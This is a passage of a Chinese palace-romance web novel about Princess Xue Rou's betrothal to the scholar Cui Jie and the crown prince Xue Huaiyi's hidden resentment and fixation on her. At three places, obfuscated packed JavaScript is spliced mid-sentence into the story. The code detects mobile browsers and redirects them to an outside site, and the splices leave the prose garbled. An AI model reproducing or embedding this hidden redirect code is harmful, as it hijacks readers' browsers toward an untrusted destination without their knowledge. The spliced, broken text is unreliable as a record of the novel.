薛柔的存在，委实令人如履薄冰，程胜的心声契合宫闱众人，无不巴望着薛柔快快嫁了人搬出宫去，脖子上顶着这颗头方能待得稳当。 笔触掠过纸面的沙沙声悄然变缓了，连执笔人亦恍然未觉。 “娘娘为十妹妹议婚，十妹妹可曾晓得？”可耻地，薛怀义关注起薛柔的动向。 程胜无所不言：“起初不知情，但照这沸沸扬扬的情形，大概过不了今夜就了解了。” 如愿以偿嫁给崔介，她应当会开心得寝不安席吧。薛怀义心想。 缓慢游走的笔尖停滞不前，俨然失了方向——过目不忘的他，竟回忆不起下一个字的形状了，狼狈到不得不承翻书确认——“平康正直，强弗友刚克，夑友柔克；沈潜刚克，高明柔克。”① 是“柔”。 他带着无穷恨意在无数个寂夜描画过无数次的，她的名字。 不宁的种子仅在阴暗处萌芽，光明之下，他镇定自若，合起书本循着记忆笔走龙蛇，补上缺少的“柔”字。 “照你说的，而今宫内宫外议论纷纷，十妹妹当早有耳闻了。”薛怀义又说。 程胜答：“殿下专心致志用功，自然两耳不闻窗外事。没多会前，九皇子携十公主雀跃出了东门，到民间玩乐了。” 记忆中，她鲜少出宫，一年到头只管在内宫称霸王。 …… 薛怀义闭了闭眼，再度睁眼，眼下一片清明。他挥手屏退程胜，心力全部倾注于一横一竖、一撇一捺上。 11. 罪孽 次日，薛柔又听着了关于崔介的一些消息，不过却是从皇后口中而来。 这天傍晚，许嬷嬷下厨煎了酥饼，刚巧薛柔正午那顿食欲不佳，没吃多少，及这个点，肚子里的食消化殆尽，便先拣来最小的一块填补填补，更多的留待晚膳。 刚咬开来，皇后就有话说：“小十，你也与崔二郎打过几次照面了，现在你对他的印象可有改观？” 薛柔囫囵吞下口内食物，不答反问：“乍乍的，母后问这个做什么？” 嘴上闪烁其词，想法却诚实，脑子里立即涌现出崔介那副美玉般的容颜来。容貌俊朗，才华横溢，品行周正……怎的如此碰巧，样样戳中她的心窝子呢？ 她吃得马虎，唇角沾了些许碎末，皇后看在眼中，无奈叹息，拿手帕细细替她擦拭干净；见她一脸纯真，不忍苛责，言归正传：“你不必瞒哄我，你怎么想的，我有成算。” 闻口风不大对劲，薛柔追问：“成算？母后有哪门子成算？” 皇后笑吟吟道：“昨儿我和余夫人提了，做成你跟崔二郎的婚事。今儿崔家回信，崔二郎心里愿意。” 霎时间，头顶响彻惊雷，把薛柔劈得外焦里嫩，一张容长脸上红白交替，好不精彩。 “我与小崔大人……的婚事？”薛柔万分怀疑自己耳朵出了问题。和他满打满算见过三面，彼此讲过的话少同样得可怜，怎么就说定亲事了？ 匆匆在脑子里捋了遍，她依然无法置信，砰的一下丢弃缺了一角的酥饼。许嬷嬷眼疾手快，用碟子托底。 “母后玩笑的吧？”酥饼上滚着鲜油，她才碰过，又没洗手，右手上糊了一层油光，滑腻滑腻的，而这层油光因她突然抓住皇后胳膊的动作，带到了皇后的暗青色袖口上；若对着窗子定睛观察，会很容易发现平坦的衣料俨然亮起一个手印来，“如是草率的决定，崔大人能同意？崔家也没意见？” 她看好崔介是实情，一切来得猝不及防也是实情。老实说，她有点接受不了。 皇后不嫌弃袖子上黏糊糊的印迹，独独纳罕她的反应：“你三番两次想法设法和崔二郎套近乎，乃至黔驴技穷，现今人家心甘情愿待你，你倒横生顾虑了。” 薛柔扁着嘴，半晌哑口无言，光闻皇后娓娓念叨：“薛、崔两家结亲，是我和你父皇早有的考量。将你托付给崔二郎，即便日后在九泉之下，我和你父皇也可安心了。” 纵览京城青年才俊，崔介数一数二，此等良人，皇后审视已久。时逢崔介争气，连中三元，荣登金榜。算得时机成熟，皇后郑重其事向景帝提出意欲招之的打算，经一番深思熟虑，景帝允准。 将将瓜熟蒂落，未料半路杀出个程咬金来截胡。为母则刚，无论如何，纵使得罪太后，皇后决不退缩。 那崔介注定是要成为小十的驸马的。 薛柔语塞，松开皇后的衣袖，眼帘低垂，若有所思。“那……婚期也定下了？” 看她的态度不再激进，皇后放了心，使唤小宫女打水过来，捏她进水里净手：“还不曾。我是考虑，离你及笄尚有个把月，咱们两家先通个气，等正式办了及笄宴，再择吉日定亲也不晚。” 薛柔愁眉不展，未再言语。 说起崔家，崔介孝顺，连日来衣不解带守在余夫人榻前端水送饭，加倍照料下，余夫人一日比一日见好，到第三日，已经行动自如，不再需要人时时刻刻侯着了。 怕病情加重，许诺与薛柔定亲之事，崔氏父子一直没向余夫人透露，而余夫人却心心念念这茬儿，精气神养回来以后急不可耐抓住崔介问东问西：“十公主对你有意，你可知？” 崔介只是人淡如菊，绝非迟钝呆傻，过往同样薛柔见过的三面里，她频频朝他的方向扭头，这意味着什么，他当然明了。 崔介颔首低眉：“儿子听说了。” 不止听说，且约定了终身。 余夫人盯得紧紧的：“那你是个什么意思？” 在余夫人看来，今朝的薛柔不亚于当年大闹天宫的孙猴子。把这么个惹祸精抬进崔家，以后必然不得安生。 余夫人全心期盼崔介不情愿，固然作用不大，该成的毁不了，但最起码验证了儿子和她一条心，日后不至于帮着薛柔骑自己脖子上头作威作福。 崔介淡淡的，犹似在说一件不起眼的小事：“儿子遵从圣意，愿尚十公主。” 始料未及的答案。余夫人怔怔然许久，忽而推了把崔介：“你读书读呆了不成！那十公主何其张狂，跟她绑在一起，整个崔家永无宁日了！” 后觉失态，自行缓缓神，口吻尽量放平和：“明夷，你果真甘愿迎娶十公主？” 崔介神色恬淡，口吻却斩钉截铁：“是，儿子心甘情愿。” 余夫人顿觉气逆，连素日引以为傲的儿子也不想看见，摆摆手说：“我头有些痛，想躺一躺。你近日照顾我辛苦，也去休息吧。” 崔介问用不用请郎中过来，余夫人果断回绝，侧身卧倒，呼吸渐渐绵长，崔介没辙，轻步退出屋子。 翌日，崔介便销了假，穿戴齐整前去上朝。景帝野心勃勃，欲拿下西南一带，故而近期议事总围绕“兴兵”“南下”等词汇展开，慷慨陈词，气吞山河。崔介一介文官，带兵打仗上算得门外汉，全场沉静。 朝毕，景帝指名道姓留下他，一改适才之激昂奋进，平和道：“朕闻你母亲抱恙，可有起色了？” 崔介坦言相告。 余夫人因何而病，景帝略知一二，倒也不恼，毕竟自己的女儿着实不逊，崔家书香门第，心怀怨念情有可原。 念及此，景帝遣龚福亲去崔府探望余夫人，聊表关心，崔介作揖谢恩，景帝含笑道：“还客气什么，很快便是一家人了。” 两人闲闲聊了一会，景帝才让崔介回翰林院。 彼时，薛怀义回东宫换上常服，和程胜分抱两摞厚厚的书本－－足足耗费一月抄录完成的十遍《尚书》，默然往太极宫呈与景帝御览。 书本沉甸甸的，东宫到太极宫有段路，程胜略微吃不消，脑门直冒汗。反观薛怀义，步履轻松，面容清爽，竟比空着手走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521195|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路更轻松几分。程胜佩服得五体投地，忍不住打破沉寂：“这书大可让奴才们搬，殿下何苦亲自受累呢？” “做了错事，亲力亲为方有诚意。”薛怀义气息平稳，面不改色。 看他任劳任怨的模样，程胜不觉泛起一缕心酸，打抱不平的念头终究压了下去。妄议天子，属重罪，一个不慎，项上人头难保。 一步一步，登上万丈石阶，巍峨宫殿映入眼帘——太极宫到了。 其时，两扇朱红大门缓缓开启，一玉面郎君扬然走出。 薛怀义微微眯眼，此人他认得，新晋宠臣兼将与薛柔共度余生的驸马，崔介。 日日在朝碰面，崔介熟知薛怀义，敛衽见礼：“微臣参见太子殿下。” 尾音之后，是漫长的静谧，时间好似凝固了。 崔介不敢轻慢，保持姿势，哪怕被晾到脊梁发僵、胳膊发酸，仍然端正到完美无瑕。 崔介记起之前在御花园，相隔九曲长廊的，短暂的对视，当时恍觉对方有不善之意，未尝往别处思忖，如今拿掉那道廊芜，面对面，他顿时分明：不善确实存在，且随着时间的推移加深了，发展成了敌意。 崔介自查平日的待人接物并无欠妥之处，与同僚相处也甚融洽，而太子待己的敌意源自何处，百思不得其解。 不仅崔介困惑，近身伺候了太子四五年之久的程胜亦云里雾里。太子一贯温柔敦厚、彬彬有礼，莫说崔大人这类朝廷命官，纵然宫中最低下的奴才，也不曾为难过。 “殿下，崔大人向您见礼呢……”纵不好一直冷着，程胜小声进言。 “崔大人平身吧。”薛怀义湾着耐人寻味的笑，发话。 崔介挺直身板。崔、薛两人个头大差不差，因此，崔介现在平视着薛怀义。 “据传，崔大人与十妹妹不日有喜，可确有其事？”薛怀义一时来意，将怀里的书本交由程胜一人托着。为什么？或许为了在臣子面前维持太子应有的体面吧。 崔介道：“并非传言。微臣与十殿下之间是父母之命，所以，并非传言。” 崔介自诩淡泊，可一个淡泊之人怎会咬文嚼字，甚至为一两个略带瑕疵的字眼而不厌其烦地纠正呢？崔介自己也没头绪。 父母之命……是啊，家世相当，容貌相当，符合东床快婿的标准，更投合她的心意。莫名地，薛怀义的呼吸乱了，心也跟着乱了。但他从不允许自己有失态的时候，尤其对着崔介的面。 “如此，”迅速平复心绪，使其恢复死水般的寂寥，薛怀义最是擅长，“那孤便提前祝贺崔大人了。” 寻常贺新婚，必离不开“百年好合”“琴瑟和鸣”之类的语汇，但，流动的心潮不容薛怀义表此祝贺。 她罪大恶极，诸如世间种种象征美满幸福的字眼，通通不应该用在她身上，更不应该作为他对她日后的愿景。 崔介谦逊道：“微臣谢太子殿下好意。” 春风拂过，卷起那些墨迹遍布的书页，哗哗作响。 薛怀义但笑不语，举步踏入大殿。 12. 及笄 及笄日近在眼前，坤宁宫这程子忙上忙下，势必给十公主举办一场风风光光的成人宴。 至于薛柔本人，也腾不出空子，熟悉宴会当日流程、试穿新衣……简直应接不暇，连崔介也暂时放下了，专心钻在坤宁宫准备不久以后的大日子。 处理人情世故上，薛怀义素来滴水不漏，坚持每日来坤宁宫向皇后请安，风雨无阻。 譬如今日，薛柔正式试穿最后一版礼服的日子，他又来扫兴了。 “一天天的，烦死个人！” 薛柔烦透了薛怀义，华美的衣服也跟着遭殃，被她从身上扒下来，丢与三喜，她则重整衣冠，汹汹去往皇后寝殿，找那没眼色的东西刻薄一番。 薛柔到之际，薛怀义刚问完安出来，两人正面相逢。 紧临屋门，不少耳目，以防惊扰皇后，薛柔假意客气道：“太子殿下随我来，我有话讲。” 她对他的厌恶，会因为帝后而加以修饰，薛怀义司空见惯，不以为奇，跟从她的步伐，目光黏着她窈娜的背影——突然一阵恍惚： 当年自己亦步亦趋的矮矮的、圆圆的背影，长高了，苗条了，已然出落成婀娜之姿。 她长大了，懂得了情爱，择定了如意郎君，很快，或许一年，或许更快，她便要开启人生新篇章了。 宫里的每张嘴都在说，崔家已经开始着手缝制喜服了，她和崔介的喜服。 喜服重工，耗时耗力，应当提前预备。 半年？ 也许用不了半年，那火红的嫁衣就会由专人送入坤宁宫，捧上她的妆台，披上她的身，最后同另一身婚服纠缠难分。 回廊下这段路异乎寻常的长，仿佛看不到尽头，令薛怀义迫不得已将眼前窈窕多姿的影子看得更深，一直深入骨血。 她罪孽深重，几乎毁了他的人生，却能顺风顺水，荣华富贵、美满姻缘样样唾手可得。 凭什么？ 她薛柔何德何能！ 漫长到煎熬的路，终于通向尽头。 薛柔站定，示意三喜去一旁守着人，随即，和善的眉目一去不复返，光剩下了厌恶，是薛怀义所熟悉的：“日日上我母后跟前抛头露面，你想干什么？” 薛怀义说：“照惯例请安，做好太子的分内之事，仅此而已。” “仅此而已吗？”薛柔冷笑，显然不信，“薛怀义，你若为那次在太庙发生的一切而记恨我，大可不必用这种方式来恶心我，明明－－” 她逼得近了些，落在不知情的人眼中，单会认为他们兄妹在和平谈话，“你也恨我入骨，日日来这儿晃荡，你又痛快到哪里去呢？不惜伤敌一千，自损八百……薛怀义，你真是贱骨头。” 薛怀义轻轻一笑：“妹妹不想见我，我倒是很想见妹妹呢。” 亲眼见证她拥抱幸福前的期许与欢愉，无异于在他伤口上撒盐，但他不退却，因为撕心裂肺的痛楚会带给他无边清醒与坚定——亲手将她梦寐以求的事物断送，毁灭，应该很有趣。 这一刹那，薛柔从他纯良无害的笑容里领略到丝丝寒意。 不可能，一定是气昏了头牵累眼花了。 她眨一眨眼，重新看回去，见他如旧笑面和煦，和曾经每每隐忍不发时的表现别无二致。 微微悬起的心得以安放，换她绽放自负的笑颜：“我警告过你，是你自己不识趣，上赶着找罪受，真是贱到骨子里了，跟你那个处心积虑爬龙床的娘一模一样。” 薛怀义出生在一个雪夜，他的表字应运而生：负霜。 他的母亲斗大的字不识一个，只是由茫茫苍白联想到了秋冬之交梅枝上的白霜，冰凉而扎手，使得身为梅园剪枝婢女的他的母亲，非常难捱。 “负霜“最初的含义，当薛怀义十岁那年再问，陡然变味了。 一样的覆雪夜，他的母亲卧病不起，脸上的肉都瘦干了，就是用那只枯死的手抹去了他眼尾的泪水，耗尽毕生气力说：“殿下要负霜前行，一直走到底……” 他的母亲殒没在那个午夜。 第二天，皇宫来人接他回宫，从此“负霜”埋藏，唯剩于薛柔手下苟延残喘的薛怀义。 其实，在景帝接他回宫前，他是没有“怀义”这个名字的，母亲有时唤他熠儿，有时唤他负霜。 “妹妹骂我，我全盘接受，我娘却是无辜的。”薛怀义不笑了。 他的母亲心向那抹孤魂，连他体内流淌的血都和那岑姓野鬼息息相关。 归根结底，薛怀义不应唤薛怀义，而应是岑熠。 此境之下，薛柔所言母亲处心积虑爬龙床之事，简直是无稽之谈！ 他的母亲，自死都干干净净。 “你娘使下三滥手段生了你，你又在她临终前频频求见父皇，从而让父皇记起了你们母子，把你捞了回来，安到我母后膝下，忝得太子之位。”薛柔目眦欲裂，“你们无耻至此，还喊冤？呵，令人作呕！” 愤怒占上风，几近冲毁理智，她斥骂薛怀义的声音倏然拔高，骇得三喜猛回头观望。 “……你给我听好了，从今以后，不许踏足坤宁宫半步，否则，你这个太子，我必定要你做不成。” 薛柔也是一时气恼失了智，嘴边有什么狠话就往出吐什么，试图给他个下马威，事实上她心知肚明，太子废立事关国本，哪里是她说了算的。 薛怀义悉数看穿，平静道：“太子自当每日向皇后请安，此乃老祖宗规定下的礼法，妹妹与我，皆更改不得。” “好啊，你厉害了，拿祖宗压我。”薛柔怒极反笑，“薛怀义，咱们走着瞧！” 言下，叫上三喜洋洋洒洒而去。 薛怀义驻足久望，直至前方空无人影，柔和的面庞风云变幻，后有阴云密布，未及电闪雷鸣，程胜一路寻来，得见的依然是熟知的那个宽宏温润的太子殿下。 一晃眼，及笄日来临，众臣俱携家带口入宫恭贺景帝最宝贝的小女儿。 崔家除开崔老夫人年事高腿脚不灵便外，举家到场。 以往众人的目光且向崔家二房聚焦，而今崔介尚了十公主，崔家二房可谓万众瞩目。 偏生二房平时最低调，兼而崔寿余夫人夫妻俩对薛柔颇有微词，现下此等风头，十足把他们赧得无颜见人。 余夫人一道催促快走，生恐平常走动得勤谨的夫人们围上来问东问西，崔寿依着她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521196|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夫妇俩越走越快，堪堪将崔介落在后头一大截。 崔介倒坦坦荡荡，遇着同僚该打招呼打招呼。 “崔大人。” 薛通迎面而来。 小妹及笄，薛通这个做哥哥的百般上心，提前两日告假，回宫帮忙。 崔介、薛通一文一武，日常虽无过多交集，但此二人俱少年得志，互相也聆听过对方的成就，彼此赞许有加。 加之即将亲上加亲，当然开怀畅谈起来。 “薛将军。” 崔介不唤九殿下，偏唤薛将军，是为肯定他脱离于皇室的才干。 薛通果然受用，当即邀崔介入后|庭弈棋，顺带将薛柔的好恶，事无巨细地告知，再以哥哥的身份，不厌其烦叮嘱崔介务必用心对待薛柔。 崔介一件一件熟记于心。 有人欢喜有人愁。 自截胡崔介失败后，舒婕妤又去求了太后几次。 太后不咸不淡的，单说崔家又不止崔介一个儿郎，她冷眼瞧着崔家长孙崔碌，撇开资质平平不谈，身份、家底、相貌均算上筹。 舒婕妤气得头晕目眩，却不敢质疑，以“再看看，不着急”支吾过去，灰溜溜回住处，再没登过慈宁宫的大门。 舒婕妤气愤难当，因忌惮太后，不敢造次，一腔怨恨便转移到了钟秀宫当差的奴才头上，隔三差五怒骂，严重起来还要动手打人。 母亲这般不理智，薛嘉也很头疼，常常规劝：“黄了就黄了，我又不是没人要，今儿没了崔介，明儿更有王介李介。母亲冷静些，仔细气坏身体。” 坦白说，这次的挫败于薛嘉而言，没有不甘，没有难过，反而抱有侥幸： 薛柔崔介成了，薛柔肯定得搬出宫，届时宫里便无第二个人压她一头，那因顾忌薛柔得宠而不得已敬她、让她的太子哥哥，从此也无需违背意愿，尽可喜他所喜，厌他所厌。 两全其美，一箭双雕。 舒婕妤直跺脚：“纵观京城，还有哪家能与崔家媲美的！这下子可好了，不指望崔家，咱们母女真跌到那些小人嘴里去了……！” 薛嘉脱口而出：“还有太子哥哥啊！” 末了才觉欠妥，解释道：“我的意思是，只要咱们好好对待太子哥哥，来日太子哥哥断然不会亏待咱们的，母亲不必忧心忡忡……” 舒婕妤静下心细思量，确实有理，心下开解不少，遂叮咛薛嘉以后多在太子面前露露脸，表表关怀。 薛嘉乐意之至，赶上薛柔及笄宴这日，其他的不管，一味寻觅太子。 纵目找了一大圈，总算在一条抄手游廊的末端找着了人。 “太子……”话到一半，却见一侧的月洞门下穿出一抹艳色，是薛柔，她与三喜有问有答： “你果真瞅见小崔大人和九哥哥在厅里下棋？” “没错，奴婢瞧得真真的。” 又见薛柔拍着三喜的肩膀，点头笑道：“好丫头，回头我那妆奁里的首饰，任你挑拣。” 然后，主奴二人越向月洞门那头，渐渐不可见了。 薛嘉已然收起探究之意，而廊下的薛怀义始终未动弹，凝视着那道四下空无一物的月洞门。 13. 秘辛 兴冲冲赶去前厅，果然看见薛通、崔介二人对弈甚欢。 薛柔侧脸对三喜比一个悄声的手势，掂起裙边，擦着墙根轻悄入内。 二人下棋下得入神，未曾发觉，恰好给了她绕到薛通身后伸手遮他眼的时机。 “猜猜我是谁。”她故意压着嗓子说。 崔介在对面，本该轮到他走棋，他默默停手，泛粉的指尖轻盈捏着一颗黑子，衬得指际越加白皙细腻。 恍觉关注点歪了，薛柔悻悻讪讪挪开眼，回归主题，却见薛通一动不动，一声不吭，忙催促：“别走神，快猜我的身份。” 崔介为端方君子，不屑趁人之危，漫不经心捻转棋子，耐心等待那兄妹俩分出黑白。 薛柔不由自主又向崔介投去打量。 他嘴角的弧度变了，扬起来了，他笑了！ 一时间，“崔介笑起来真好看”的念头在脑子里乱窜，搅得心神不宁，完全忽略了薛通唤过一声“小十”，仍死捂着人家的双目。 崔介感觉到了来自对侧的热切而呆痴的注目，耳尖慢慢晕红了，眼光也难以定在一处，四面八方地飘忽起来，唯独缺少正上方——薛柔在那。 他们尚未礼成，同处一个屋檐下已然有失分寸，再直直对视更显露骨，不合礼数。 不可。 于是乎，崔介恪守男女之防的举动映在薛柔眼下，明晃晃成了不近人情。 自觉丧失颜面，她心里十分不爽，消极的心情投射到肢体上，手劲越来越大，真真儿坑惨了薛通，难受得紧忙扒拉她的手。 被抓疼了，薛柔顿时炸毛，眉头紧锁道：“九哥哥你不配合我便罢了，怎的还抓我呢？” 薛通按着额角嘶嘶吸气：“我再无动于衷，我这双眼都要给你按瞎了。” 三喜偷偷扯扯她的袖子，小声说：“九殿下喊了您几次，您自己看小崔大人入迷，一点反应都没有，使到胳膊的力气还愈来愈厉害，九殿下这才拉您。” “……我不管，我没听见，就是你狡辩。” 面对崔介，薛柔不肯丢面子，索性耍无赖颠倒黑白，反正薛通会让着她。 薛通真就拿她束手无策，自认倒霉，揭过这篇，回头问她：“你这寿星跑这来做什么？” 薛柔头头是道：“外头乱哄哄的，人挤着人气味也难闻，我受不了，想着找个清净的地儿喘喘气，便转到此处了，谁知你们也在。” 她不是谎话连篇的人，怎奈直奔崔介而来的原因太过粗鲁，又不符合她公主之尊的作风，只好含糊搪塞。 薛通的妹妹，薛通了解，十成十是打听到崔介身在此地，直冲而来，因为好面子，便扯谎应对。 薛通仁慈，非但不戳穿，且搭台阶给她行方便：“你既来了，那就留下观棋吧，顺带做个见证，看我今日能否赢过崔大人。” 崔介的棋艺出自崔老太爷之手，精湛巧妙，偌大翰林院没一个敌过他的。 薛通只粗略学过些时，从他手底下占便宜，恐怕是异想天开。 “九哥哥别怨我不站你这边，”薛柔瞟一眼崔介，他终于按下闲置多时的棋子，“这盘棋，你够呛。” 果如她预料，棋局至办，胜负已分，黑子以压倒性优势取胜。 薛通摊手说笑：“你这小妮子，还没登堂入室，胳膊肘就往外拐了。” 薛柔坐着小杌子，挨薛通近，见状，忙伸手去掐他胳膊上的肉，眼皮子一眨一眨，无声比口型威胁：闭嘴。 薛通惯她，吃了哑巴亏，笑着拿开她的手腕，及欲扭头跟崔介说再切磋两盘，但见他离座向自己拱手称：“九殿下，十殿下，微臣出来已久，恐家父家母多心烦忧，恕微臣先行一步。” 兄妹俩谁都没阻拦，眼看着崔介出去。 薛柔迟钝埋怨：“哥哥怎么不拦一拦，就任他轻飘飘走了。” 崔介一走，那没什么好忌讳的了，薛通畅所欲言：“呦，刚才不是说得有理有据，是闲逛来的吗？人才没在一小会，就藏不住马脚了？我都替你臊得慌。” 本碍着崔介方费力装出淑女模样，他不在场，薛柔原形毕露，跳将起来，围着薛通绕圈捶打：“我臊不臊的，暂且不议论，哥哥还是先担心担心你自己吧！” 薛通身强力壮，由她出气。 单方面闹了一阵，那股子窘迫劲儿消散，薛柔扭着酸困的手腕，和薛通搭话：“崔二郎可真难缠，软硬不吃。既然如此，他干嘛一口答应这门婚事？” 母后说过，他父母全不看好，特别是他母亲余夫人，哭天抢地的，一口气没顶上来晕厥过去，偏他，二话没有，痛痛快快点了头。 看他适才躲闪之态，前几次的碰面又不冷不热，大约是对她无意……？ 那他何必同意，她又不是非他不可，更不能按着他的脖子和自己成亲。 真是个不着调的人。 薛通半奚落半认真说：“崔大人进退有度，可不像妹妹，巴巴追来，直勾勾盯着人心花怒放。” “我正经问哥哥，哥哥倒油嘴滑舌的。”薛柔嘴巴一撇，郁闷道。 薛通摇头低笑道：“自古传下来的习俗，有婚约在身的男女正式成亲前不能见面的，崔大人疏远你，是为了你们两个的名声考虑。” 薛柔顶烦各种礼节，即便学也三天打鱼两天晒网，没个正形，今日之声名狼藉便是从几岁上埋下的种子，婚俗什么的自然一概不知。 当下由薛通说开，心里的结略有松解之势，半信半疑道：“竟有这个说法？哥哥莫不是编瞎话逗我乐子呢吧？” 薛通哑然失笑：“你当初少开次小差、躲会懒，必不会疑我了。倘若不信，你可以去跟娘娘求证，看看我有没有哄你玩。” 薛柔是愿意相信的，立即眉开眼笑，不再沉溺，挽着薛通一块上交泰殿去。 同一时间，薛嘉薛怀义齐肩并行，两相缄默，四周仅有鞋底摩擦路面的窸窸窣窣声。 此地偏僻，加之宴席设在前殿，人们尽数簇拥在那，故此一道出来，只撞见过一二宫人。 四下安静，薛嘉的心可静不下来，反反复复揣摩刚刚撞破的画面。 她从未见过太子哥哥会对谁凝望成那样——深沉的，晦涩的。 根本不是对待妹妹的，处处充斥着不可告人的贪恋。 太子哥哥对薛柔…… 薛嘉不敢细想，晃晃脑袋，斜挑着目光，窥探身旁一言未发的人。 “八妹妹可有话说？” 对方冷不丁望回来，唬得薛嘉心尖一颤，以微笑掩饰堂皇：“只是想问一下，太子哥哥的膝盖还疼不疼了。” 薛怀义低眸，风一般掠过荡动的衣摆，唇线浅浅一挑：“无事了，八妹妹有心了。” 薛嘉心猿意马，点点头没作声。 他们之间相处，向日以薛嘉主动找话题为主，倘若薛嘉无言，那么薛怀义便顺其自然，哪怕冷场亦不觉尴尬。 薛嘉纠结不定，惶恐不安，第一次嫌路为何修得这么长，一步一步看不到边际。 艰难忍耐着，视野渐渐开阔，人声交织袭来。 “八殿下。” 侧面多了一束素影，薛嘉侧目，如临救星，忙挽住对方的手，尽显亲昵之态：“真有好些日子没见着斓妹妹了。” 这位斓妹妹，乃崔家三房的姑娘，单唤一“斓”字，也就是前段时间薛柔和三喜所谈论的崔介之堂妹，按年岁在整个崔家孙子辈的往下排，是最小的。 崔斓刚看着太子也在，惶然见礼。 薛怀义温和一笑，颔首示意，走了。 薛嘉忍不住关注薛怀义的去向，展眼追随，却见薛柔、薛通说说笑笑从对面而来，与薛怀义相逢一处；薛柔登时变色，嘴角压低，嘴脸既嚣张且丑陋；更令她刺挠的，则是不论薛柔如何甩脸子，他都笑意不减，无底线地包容她。 今日之前，薛嘉不认为他待自己同薛柔有何不同，目睹他沉沉凝望薛柔的情景后，薛嘉豁然觉察，对她和薛柔，他面上的笑是不一样的——他把薛柔当女子看，把她当妹妹看。 “八殿下，八殿下？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521197|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柔缓的声音拉薛嘉回神。 “怎么了？” 薛嘉停止自寻不快，专注自己。 崔斓指指陆续进殿的人｜流：“快到献歌舞的点了，咱们也进去吧。” 薛嘉应声，随大流入内安坐。 载歌载舞，酒过三巡，薛柔闷不住，借口更衣，踮脚悄悄溜走，一路摸到桐花台，此处蓄着一片青湖，湖面上浮着清荷，湖畔停有小舟，常有人来此泛舟观澜赏荷。 正值黄昏，红日西斜，晚霞皴红了大半边天，倒映在水面，五光十色，美不胜收。 薛柔张开臂膀，迎着湖面深吸一口清气，有感而发：“还是这地方舒服，一星儿的人味都闻不到。” 她挺矛盾的：喜欢热闹，却厌恶人多不好闻，口口声声夸赞杳无人烟的去处好，可若真去僻静之地，又待不了多时。 “三喜，你不是会划船吗？”薛柔没在商量，话赶着话又说：“走，你给我撑船，我也要去那舟上体会体会闲趣。” 三喜不乏担心，迟疑道：“咱们出来够久了，再耽搁，大家该找了。” 薛柔迈着不容商议的步履一径至那叶靠岸的小舟前，一脚踩上去：“那么多人，哪里顾得上盯着我去哪了。快过来，过会天黑了不好划。” 三喜无奈，乖乖跟去，两手操船桨。 “殿下坐好，别乱动，奴婢怕不稳把您晃水里。” 听得后头传来应答声，方卖力转起船桨，操纵小舟离岸。 她们离席已久，而念及平素薛柔爱折腾的性子，皇后隐隐不安，叫许嬷嬷近身吩咐：“你去各处寻寻小十，赶紧带她回来。” 上首的动作，薛怀义尽收眼底。 根据皇后愁眉锁眼的神色，以及薛柔空了良久的位子，他有了推论。 低声交代程胜若是有人问起，就说他吃多了酒，去外边醒酒，很快就回；继而不起眼地退走。 “嬷嬷。” 许嬷嬷刹住急切的脚步，见是太子，忙有礼了。 “孤与嬷嬷一起寻十妹妹吧。”未及许嬷嬷错愕，薛怀义立道：“天色将晚，十妹妹孤身在外不安全，速速找回十妹妹要紧。” 此言在理，许嬷嬷未尝推诿，福身道过谢，兵分两路寻人。 薛怀义没费周折，依着对薛柔的了解，直投桐花台——席间她吃了酒，脸颊现出一层薄红，八成不胜酒力；要醒酒，桐花台楼高风大，底下又湾着湖，最合适。 三喜划累了，心里正暗暗叫苦，忽见前边闪出一个人，定睛一瞅，居然是太子，赶忙出声通知薛柔：“不好了殿下，太子殿下也过来了！” 无人回应。 三喜不信邪，接连提示几回，均鸦雀无声。 越划越近，情知逃不掉，三喜慢慢停船靠岸。 “娘娘看不见十妹妹，心里焦急，孤于心不忍，特寻妹妹回去替娘娘解忧。”薛怀义正义凛然道，“十妹妹可是在舟里？” 三喜叫他唬得一愣一愣的，憨憨点头：“殿下可能醉酒睡着了……” 薛怀义款款登舟，转头微微一笑：“不妨碍，大不过背妹妹一程就是。” 三喜亲眼见识过薛柔欺辱他的样子，那么狠辣，那么绝情，怎么也料想不到他非但不记仇，而且愿意委屈太子之尊，背薛柔回。 三喜的脑袋里犹如装着一团浆糊，只言片语拿不出口，只管瞠目站在岸边。 三喜搞不明白的，薛怀义亦糊里糊涂。 她何其可恨，何其恶毒，就让她死睡过头，惊破满殿宁和，弄得沸沸扬扬，从而丢尽皇家颜面，像上次一样被责罚，岂不大快人心？ 为什么要横插一脚，积极地来找她，替她收拾烂摊子？ 为什么？ …… 她的软肋是他，一看见他便由里到外暴躁，所以上次她才威胁不准他踏足坤宁宫。 越令她不自在的事，他越要做，这是当下他唯一能报复她的办法。 抱着恨意与快意，薛怀义将腰一猫，深入扁舟。 14. 大梦 